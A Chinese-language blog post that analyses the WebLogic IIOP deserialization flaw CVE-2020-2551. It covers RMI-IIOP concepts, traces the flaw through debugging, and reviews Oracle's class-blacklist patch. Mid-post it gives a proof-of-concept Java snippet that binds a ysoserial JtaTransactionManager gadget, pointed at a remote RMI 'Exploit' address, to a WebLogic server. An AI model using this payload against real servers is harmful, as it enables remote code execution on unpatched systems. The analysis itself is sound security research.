Weblogic IIOP反序列化漏洞（CVE-2020-2551）漏洞分析

左手的ㄟ右手 2021-08-30 19:34 1184阅读 0赞

## 0x00 前言 ##

2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告，漏洞等级为高危，CVVS评分为9.8分，漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

## 0x01 漏洞分析 ##

从Oracle 官方的CPU公告中可以看出该漏洞存在于weblogic核心组件，影响的协议为IIOP。其实经过分析发现，**该漏洞原理上类似于RMI反序列化漏洞（CVE-2017-3241），和之前的T3协议所引发的一系列反序列化漏洞也很相似，都是由于调用远程对象的实现存在缺陷，导致序列化对象可以任意构造，并没有进行安全检查所导致的。**

为了更好的理解这个漏洞，有必要先介绍一下相关的概念：

**RMI**: RMI英文全称为Remote Method Invocation，字面的意思就是远程方法调用，其实本质上是RPC服务的JAVA实现，底层实现是JRMP协议，TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。

**CORBA**: Common Object Request Broker Architecture（公共对象请求代理体系结构）是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL（interface definition language）描述连接到远程对象的接口，然后将其映射到制定的语言实现。

**IIOP**: CORBA对象之间交流的协议，传输层为TCP/IP。它提供了CORBA客户端和服务端之间通信的标准。

那么什么是RMI-IIOP呢，以往程序员如果想要开发分布式系统服务，必须在RMI和CORBA/IIOP之间做选择，但是现在有了RMI-IIOP，稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象，这样就综合了RMI操作的便利性和IIOP的跨语言性的优势。

在weblogic中RMI-IIOP的实现模型如下：

[![Weblogic-RMI-IIOP][]][Weblogic-RMI-IIOP 1]

Weblogic的文档把这个实现叫做RMI over IIOP。

理解了以上的概念，通过下边的例子（完整代码请参考[文档][Link 1]）来帮助理解RMI-IIOP吧：

首先定义一个接口类HelloInterface，注意必须实现Remote接口，实现的方法必须抛出java.rmi.RemoteException的异常：

public interface HelloInterface extends java.rmi.Remote {
        public void sayHello( String from ) throws java.rmi.RemoteException;
    }

接着定义一个实现该接口的方法，然后定义一个服务端，并将该服务进行绑定，然后暴露在1050端口。接下来是客户端代码：

import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.rmi.PortableRemoteObject;
    import java.util.Hashtable;
    
    public class HelloClient {
    
        public static void  main( String args[] ) {
            Context ic;
            Object objref;
            HelloInterface hi;
    
            try {
    
                Hashtable env = new Hashtable();
                env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
                env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");
    
                ic = new InitialContext(env);
    
                // STEP 1: Get the Object reference from the Name Service
                // using JNDI call.
                objref = ic.lookup("HelloService");
                System.out.println("Client: Obtained a ref. to Hello server.");
    
                // STEP 2: Narrow the object reference to the concrete type and
                // invoke the method.
                hi = (HelloInterface) PortableRemoteObject.narrow(
                        objref, HelloInterface.class);
                hi.sayHello( " MARS " );
    
            } catch( Exception e ) {
                System.err.println( "Exception " + e + "Caught" );
                e.printStackTrace( );
                return;
            }
        }
    }

可以看到客户端通过JNDI查找的方式获取到远程的Reference对象，然后调用执行该对象的方法：

[![format_png][]][format_png 1]

这个调用的过程和普通的RMI方法调用很相似，因此很容易想到RMI的反序列化漏洞（CVE-2017-3241），通过bind方法中发送序列化对象到服务端，服务端在读取的时候进行反序列化操作，从而触发漏洞。

于是构造如下请求：

public static void main(String[] args) throws Exception {
            String ip = "127.0.0.1";
            String port = "7001";
    
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
            env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
            Context context = new InitialContext(env);
            // get Object to Deserialize
            JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
            jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
            context.bind("hello", remote);
        }

这里使用Ysoserial内建的功能帮我们生成一个实现Remote接口的远程类，发包之后收到请求的流量：

[![format_png 2][]][format_png 2 1]

请求包中序列化对象（这里序列化的使用的并不是ObjectOutputStream类，因此没有ACED 0005魔术头）：

[![format_png 3][]][format_png 3 1]

跟进调试发现客户端的bind方法中序列化对象操作如下：

[![format_png 4][]][format_png 4 1]

至此，整个漏洞的原理其实已经搞清楚：

**1.** 通过设置java.naming.provider.url的值为iiop://127.0.0.1:7001获取到对应的InitialContext对象，然后再bind操作的时候会将被绑定的对象进行序列化并发送到IIOP服务端。

**2.** Weblogic服务端在获取到请求的字节流时候进行反序列化操作触发漏洞。

如何验证呢？看补丁的时候发现补丁中和IIOP相关的只修复了weblogic.corba.utils. CorbaUtils类：

[![format_png 5][]][format_png 5 1]

然后全局搜索相关的包发现存在IIOPInputStream，根据名称很容易知道该类是IIOP类输入流，点进去搜索readObject然后下断点进行调试，命中断点之后查看调用栈信息如下：

[![format_png 6][]][format_png 6 1]

从调用的堆栈中可以很清晰看到进入到IIOPInputStream的处理是从read\_any中开始的，也印证了序列化中write\_any的操作。然后将断点设在该处动态调试可以发现：

[![format_png 7][]][format_png 7 1]

在ObjectStreamClass的readFields方法中对序列化数据进行处理。至此整个流程已完全走通。

## 0x02 漏洞修复 ##

首先来看一下官方的修复方案，打上补丁之后重新发送数据包，可以在控制台观察到拦截日志：

[![format_png 8][]][format_png 8 1]

然后在CorbaUtils类的verifyClassPermitted方法上下断点，重新发送数据包观察到命中：

[![format_png 9][]][format_png 9 1]

单步跟进可以发现并没有拦截JtaTransactionManager，随后继续跟进发现获取到JtaTransactionManager类的父类AbstractPlatformTransactionManager类的时候被拦截，黑名单中拦截的类包括如下：

maxdepth=100;!org.codehaus.groovy.runtime.ConvertedClosure;!org.codehaus.groovy.runtime.ConversionHandler;!org.codehaus.groovy.runtime.MethodClosure;!org.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.UnicastRemoteObject;!java.rmi.server.RemoteObjectInvocationHandler;!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;!java.rmi.server.RemoteObject;!org.apache.commons.collections.functors.*;!com.sun.org.apache.xalan.internal.xsltc.trax.*;!javassist.*;!java.rmi.activation.*;!sun.rmi.server.*;!org.jboss.interceptor.builder.*;!org.jboss.interceptor.reader.*;!org.jboss.interceptor.proxy.*;!org.jboss.interceptor.spi.metadata.*;!org.jboss.interceptor.spi.model.*;!com.bea.core.repackaged.springframework.aop.aspectj.*;!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;!com.bea.core.repackaged.springframework.beans.factory.support.*;!org.python.core.*

并且这里设置了递归检查的深度为100，可以看到黑名单中包含该类的父类。

[Weblogic-RMI-IIOP]: /images/20210728/11bc79e17e5e4e918dfde18fe45465e0.png
[Weblogic-RMI-IIOP 1]: https://p1.ssl.qhimg.com/t018abbe5aaccc8d9b1.png
[Link 1]: https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738
[format_png]: /images/20210728/b34da9c0077749b999bb3eef501db303.png
[format_png 1]: https://p3.ssl.qhimg.com/t01ba99d9d83ed88a42.png
[format_png 2]: /images/20210728/816860fef66d48ff9691ae7450516186.png
[format_png 2 1]: https://p4.ssl.qhimg.com/t01555b6da0249861c8.png
[format_png 3]: /images/20210728/a55710a7929f4c168595c347b89e083f.png
[format_png 3 1]: https://p3.ssl.qhimg.com/t016896f83c6145ddea.jpg
[format_png 4]: /images/20210728/746d57be7b70426bbfbd6f8042bc09a0.png
[format_png 4 1]: https://p5.ssl.qhimg.com/t019c7707dddcaa1ff8.png
[format_png 5]: /images/20210728/2e563caa0ce8444882fe17e05202900d.png
[format_png 5 1]: https://p1.ssl.qhimg.com/t01628fbb12980936e5.png
[format_png 6]: /images/20210728/f394e38534f44d52ae39c62ef0bb5ebd.png
[format_png 6 1]: https://p4.ssl.qhimg.com/t01c29bddbaaecd2033.png
[format_png 7]: /images/20210728/15e6cb01641940548f556f73464772ba.png
[format_png 7 1]: https://p3.ssl.qhimg.com/t01228b37ce2c589e9b.png
[format_png 8]: /images/20210728/12a6f792e4c344f5b3d5fc8eba564dd7.png
[format_png 8 1]: https://p3.ssl.qhimg.com/t01ba0d0920f87d4855.png
[format_png 9]: /images/20210728/81aa9c22c75346e28f1eb9b4f25b38f3.png
[format_png 9 1]: https://p1.ssl.qhimg.com/t01b489e49d98048934.png